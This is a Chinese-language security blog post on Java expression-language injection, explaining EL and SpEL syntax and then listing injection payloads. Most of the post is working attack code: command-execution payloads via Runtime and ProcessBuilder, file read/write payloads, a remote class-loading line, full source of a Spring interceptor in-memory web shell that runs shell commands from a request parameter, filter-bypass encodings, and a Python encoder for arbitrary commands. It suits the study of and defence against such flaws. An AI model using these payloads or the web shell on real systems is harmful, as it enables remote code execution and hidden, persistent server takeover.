Java表达式注入

EL&SPEL

EL常用于JSP,而SPEL主要针对于spring,两者并非严格区分关系。

何为EL

EL(Expression Language)是一种脚本表达式,它可以直接插入到JSP中,其主要功能有:

  • 获取数据:从各种类型的Web域中检索Java对象、获取数据(某个Web域中的对象, 访问JavaBean的属性、访问List集合、访问Map集合、访问数组)。
  • 执行运算:执行一些基本的关系运算、逻辑运算和算术运算, 以在JSP页面中完成一些简单的逻辑运算, 例如${user==null}
  • 获取Web开发常用对象:EL表达式定义了一些隐式对象, 利用这些隐式对象,Web开发人员可以很轻松获得对Web常用对象的引用, 从而获得这些对象中的数据。
    • 可以直接获取到PageContext,访问JSP内置对象比如page,request,session,application。
  • 调用Java方法:EL表达式允许用户开发自定义EL函数, 以在JSP页面中通过EL表达式调用Java类的方法。
    • 自定义拓展的函数与类的静态方法对应。

EL基本语法

界定符

EL表达式用${}进行包裹,表达式位于花括号之间。

取值与赋值

取值符号有两个

  • .${userinfo.name}
  • []${userinfo['name']}

这两个表达式都是取出userinfo对象中的name属性,不过中括号[]有一些.不具备的特点:

  1. 如果存取的属性名称包含一些特殊字符(非字母数字),那么必须用[],,比如${userinfo['my-name']}
  2. []可以进行动态取值,比如${userinfo[param.name]}中的name可以通过参数来传递。
    • 这一点也衍生出一个小trick

取值的范围在没有自定义的情况下就会依次从PageRequestSessionApplication中查找,如果没有找到则返回当前上下文即.

赋值使用等号即可,如${userinfo.name}=abc,实际上 [].可以理解为getter,=可以理解为setter

内置(隐式)对象

JSP表达式语言定义了一些隐式对象,其中比较重要的有

  • JSP上下文对象
    • pageContext:JSP页的上下文, 可以用于访问JSP隐式对象, 如请求、响应、会话、输出、servletContext等. 例如,${pageContext.response}为页面的响应对象赋值。
  • 请求相关的简易对象
    • param:${param.name}等同于request.getParameter(name)
    • paramValues:与param类似,将请求参数映射到数组而非单个值,${paramValues.name}等同于request.getParamterValues(name)
    • header:${header.name}等同于request.getHeader(name)
    • headerValues:同上
    • cookie:将cookie名称映射到单个cookie对象. 向服务器发出的客户端请求可以获得一个或多个cookie. 表达式${cookie.name.value}返回带有特定名称的第一个cookie值. 如果请求包含多个同名的cookie, 则应该使用${headerValues.name}表达式。
    • initParam:将上下文初始化参数名称映射到单个值(通过调用ServletContext.getInitparameter(String name)获得)。
  • Web 上下文、会话、请求、页面
    • pageScope
    • requestScope
    • sessionScope
    • applicationScope

EL注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//对应于JSP页面中的pageContext对象(注意:取的是pageContext对象)
${pageContext}

//获取Web路径
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}

//文件头参数
${header}

//获取webRoot
${applicationScope}

//执行命令
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}

//反射调用ScriptEngine
${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc')")}

SPEL注入

Spring表达式语言(简称SpEl)是一个支持查询和操作运行时对象导航图功能的强大的表达式语言. 它的语法类似于传统EL, 但提供额外的功能, 最出色的就是函数调用和简单字符串的模板函数.

尽管有其他可选的Java表达式语言, 如OGNL,MVEL,JBoss EL等等, 但Spel创建的初衷是了给Spring社区提供一种简单而高效的表达式语言, 一种可贯穿整个Spring产品组的语言, 这种语言的特性应基于Spring产品的需求而设计. 虽然SpEL引擎作为Spring组合里的表达式解析的基础, 但它不直接依赖于Spring, 可独立使用.

SimpleEvaluationContext: 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别, 公开SpEL语言特性和配置选项的子集.

StandardEvaluationContext: 公开全套SpEL语言功能和配置选项, 可以使用它来指定默认的根对象并配置每个可用的评估相关策略.

SimpleEvaluationContext旨在仅支持SpEL语言语法的一个子集, 不包括Java类型引用、构造函数和bean引用; 而StandardEvaluationContext是支持全部SpEL语法的,因此使用StandardEvaluationContext才会造成SPEL注入

基本用法

SPEL使用#{}作为界定符,它有三种使用方式, 一种是在注解@Value中, 一种是XML配置, 最后一种是在代码块中使用Expression。下面

注解 @Value 用法

@Value能修饰成员变量和方法形参,#{}内就是SpEL表达式的语法,Spring会根据SpEL表达式语法为变量赋值.

1
2
3
4
5
6
7
public class User {
@Value("${ spring.user.name }")
private String Username;
@Value("#{ systemProperties['user.region'] }")
private String defaultLocale;
//...
}

XML 配置用法

SpEL表达式中, 使用T(Type)运算符会调用类的作用域和方法,T(Type)操作符会返回一个object, 它可以帮助获取某个类的静态方法, 用法T(全限定类名).方法名(), 即可以通过该类类型表达式来操作类, 例如:

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-3.0.xsd ">

<bean id="helloWorld" class="com.mi1k7ea.HelloWorld">
<property name="message" value="#{T(java.lang.Runtime).getRuntime().exec('calc')}" />
</bean>
</beans>

Expression 用法

1
2
3
4
5
6
7
String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
// 1.创建解析器
ExpressionParser parser = new SpelExpressionParser();
// 2.解析表达式
Expression expression = parser.parseExpression(spel);
// 3.求值
System.out.println(expression.getValue());

类型表达式 T()

在SpEL表达式中,使用T(Type)运算符会调用类的作用域和方法。换句话说,就是可以通过该类类型表达式来操作类。

1
2
3
4
String cmdStr = "T(java.lang.String)";
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(cmdStr);
System.out.println(exp.getValue() );

使用T(Type)来表示java.lang.Class实例,Type必须是类全限定名,但”java.lang”包除外,获取到类之后只能调用static方法,调用非static方法需要new

1
2
3
4
5
6
T(java.lang.Runtime).getRuntime().exec("calc") 
//yes
T(javax.script.ScriptEngineManager).getEngineByName("nashorn").eval("..")
//no, getEngineByName() is not static
new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("")
//yes

引用

在SpEL表达式中,变量定义通过EvaluationContext类的setVariable(variableName, value)函数来实现;在表达式中使用”#variableName”来引用;除了引用自定义变量,SpEL还允许引用根对象及当前上下文对象:

  • #this:使用当前正在计算的上下文;
  • #root:引用容器的root对象;
  • @bean_name:引用Bean

RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class Speli {
public static void main(String[] args) {
/**
* direct RCE
*/
String exp = "T(java.lang.Runtime).getRuntime().exec('calc')";
// String exp = "new java.lang.ProcessBuilder(new String[]{\"calc\"}).start()";
// String exp = "new javax.script.ScriptEngineManager().getEngineByName(\"nashorn\").eval(\"s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);\")";
/**
* ClassLoader
*/
// String exp = "T(java.lang.ClassLoader).getSystemClassLoader().loadClass('java.lang.Runtime').getRuntime().exec('calc')";
// local
// String exp = "new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL('http://127.0.0.1:8888/')}).loadClass(\"evil\").getConstructors()[0].newInstance()";
//remote
SpelExpressionParser spelExpressionParser = new SpelExpressionParser();
Expression expression = spelExpressionParser.parseExpression(exp);
System.out.println(expression.getValue());
}
}

还有一些其他获取到ClassLoader的方法:

1
2
3
4
5
6
#springboot
T(org.springframework.expression.Expression).getClass().getClassLoader()
#thymeleaf
T(org.thymeleaf.context.AbstractEngineContext).getClass().getClassLoader()
#web服务下通过内置对象
{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"touch /tmp/foobar\")}

回显&读写&内存马

1.回显

回显方面考虑通用的思路,基于当前环境获取response对象,将result装进响应包的header、body等。

1
2
3
4
5
6
7
8
9
10
11
12
13
//直接从上下文中获取response。
#response.addHeader('x-echo',new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine())

//Scanner回显,会把结果都放在一行返回。
new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\\").start().getInputStream(), "GBK").useDelimiter("asdasdasdasd").next()

//commons-io回显
T(org.apache.commons.io.IOUtils).toString(payload).getInputStream())

//jshell回显
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()


2.读写

1
2
3
4
5
//读文件
new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/C:/Users/helloworld/shell.jsp"))))

//写文件
T(java.nio.file.Files).write(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/C:/Users/helloworld/shell.jsp")), 'FILE_CONTENT'.getBytes(), T(java.nio.file.StandardOpenOption).WRITE)

3.内存马

内存马方面以springboot interceptor为例,直接defineClass()加载即可:

1
2
3
4
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()}

//或者精简一下,第一种使用MLet,它继承于URLClassLoader,好处是可以加载任意远程或本地类。
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('InceptorMemShell',T(org.springframework.util.Base64Utils).decodeFromString('...'),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()}

下面是interceptor内存马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import org.springframework.web.servlet.HandlerInterceptor;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.util.List;

public class InceptorMemShell extends AbstractTranslet implements HandlerInterceptor {

static {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field field = null;
try {
field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
} catch (NoSuchFieldException e) {
e.printStackTrace();
}
field.setAccessible(true);
List<HandlerInterceptor> adaptInterceptors = null;
try {
adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping);
} catch (IllegalAccessException e) {
e.printStackTrace();
}
InceptorMemShell evilInterceptor = new InceptorMemShell();
adaptInterceptors.add(evilInterceptor);
System.out.println("ok");
}


@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
response.setCharacterEncoding("gbk");
java.io.PrintWriter printWriter = response.getWriter();
ProcessBuilder builder;
String o = "";
if (System.getProperty("os.name").toLowerCase().contains("win")) {
builder = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});
} else {
builder = new ProcessBuilder(new String[]{"/bin/bash", "-c", cmd});
}
java.util.Scanner c = new java.util.Scanner(builder.start().getInputStream(),"gbk").useDelimiter("wocaosinidema");
o = c.hasNext() ? c.next(): o;
c.close();
printWriter.println(o);
printWriter.flush();
printWriter.close();
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
return true;
}

@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
}

@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

Bypass

反射

1
2
3
4
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("open -a Calculator")

#this.getClass().forName("java.lang.Runtime").getRuntime().exec("open -a Calculator")

字符串拼接

1
2
3
4
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"open","-a","Calculator"})

#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"open","-a","Calculator"})

ASCII替换

1
2
3
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(111).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(114)))

new java.lang.ProcessBuilder(new String[]{new java.lang.String(new byte[]{111,112,101,110}),new java.lang.String(new byte[]{45,97}),new java.lang.String(new byte[]{67,97,108,99,117,108,97,116,111,114})}).start()

生成ASCII脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def shell():
shell = input('Enter shell to encode: ')

part1_shell = 'T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(shell[0])
for c in shell[1:]:
part1_shell += '.concat(T(java.lang.Character).toString(%s))' % ord(c)
part1_shell += ')'
print('\nPart1: ')
print(part1_shell + '\n')

part2_shell = 'new java.lang.ProcessBuilder(new String[]{'
args = shell.split(' ')
len_args = len(args)
len_temp = 0
while(len_temp < len_args):
temp = 'new java.lang.String(new byte[]{'
for i in range(len(args[len_temp])):
temp += str(ord(args[len_temp][i]))
if (i != len(args[len_temp]) - 1):
temp += ','
temp += '})'
part2_shell += temp
len_temp += 1
if len_temp != len_args:
part2_shell += ','

part2_shell += '}).start()'
print('\nPart2: ')
print(part2_shell + '\n')

if __name__ == '__main__':
shell()

JS引擎

1
2
3
4
5
6
7
8
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='open';s[1]='-a';s[2]='Calculator';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")

T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName(\"JavaScript\").eval(\"s=[3];s[0]='open';s[1]='-a';s[2]='Calculator';java.la\"+\"ng.Run\"+\"time.getRu\"+\"ntime().ex\"+\"ec(s);\"))

T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"open","-a","Calculator"})))
//反射
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName(\"JavaScript\").eval(T(java.net.URLDecoder).decode(\"%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%6f%70%65%6e%20%2d%61%20%43%61%6c%63%75%6c%61%74%6f%72%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29\")))
//URL编码

Jshell

注意JDK9之后新增

1
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('open -a Calculator').toString()

关键字绕过

1.绕过T(

SPEL处理字符会将%00替换为空,所以可以使用T%00(new)

2.绕过getClass(

1
2
// 这里的 15 可能需要替换为 14, 不同 jdk 版本的序号不同.
"".class.getSuperclass().class.forName("java.lang.Runtime").getDeclaredMethods()[15].invoke("".class.getSuperclass().class.forName("java.lang.Runtime").getDeclaredMethods()[7].invoke(null),"open -a Calculator")

OGNL

@TODO

REF


Java表达式注入
http://example.com/2023/06/02/Java表达式注入/
Author
springtime
Posted on
June 2, 2023
Licensed under